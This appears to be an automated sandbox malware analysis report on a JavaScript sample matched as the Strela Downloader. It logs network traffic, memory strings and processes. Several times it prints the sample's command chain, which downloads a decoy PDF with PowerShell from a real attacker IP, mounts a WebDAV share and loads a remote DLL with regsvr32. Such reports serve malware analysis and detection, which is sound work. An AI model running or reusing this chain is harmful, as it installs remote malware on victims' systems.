HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2156451872.000002963BED0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155015028.000002963BEC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2220954923.0000016308F18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2221024382.0000016308F3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2215768553.0000016308F4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2221024382.0000016308F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: net.exe, 00000007.00000003.2215768553.0000016308F4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2221024382.0000016308F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: svchost.exe, 00000009.00000002.3446788878.000001A256211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2214670577.000001A2560B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7272, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 14137177262856222939.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/37@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0kjaadth.kuu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1752,i,8867893340244330003,12266913905662921098,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1752,i,8867893340244330003,12266913905662921098,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
